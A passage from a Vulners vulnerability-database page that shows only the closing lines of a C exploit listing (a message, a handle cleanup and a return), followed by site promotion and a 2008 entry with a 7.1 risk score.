&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;*&nbsp;hmmm,&nbsp;you&nbsp;didn't&nbsp;STOP&nbsp;the&nbsp;box?!?!\n&quot;);

&nbsp;&nbsp;CloseHandle&nbsp;(hFile);

&nbsp;&nbsp;return&nbsp;(EXIT_SUCCESS);
}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Feb 2008 00:00Current
7.1High risk
Vulners AI Score7.1
8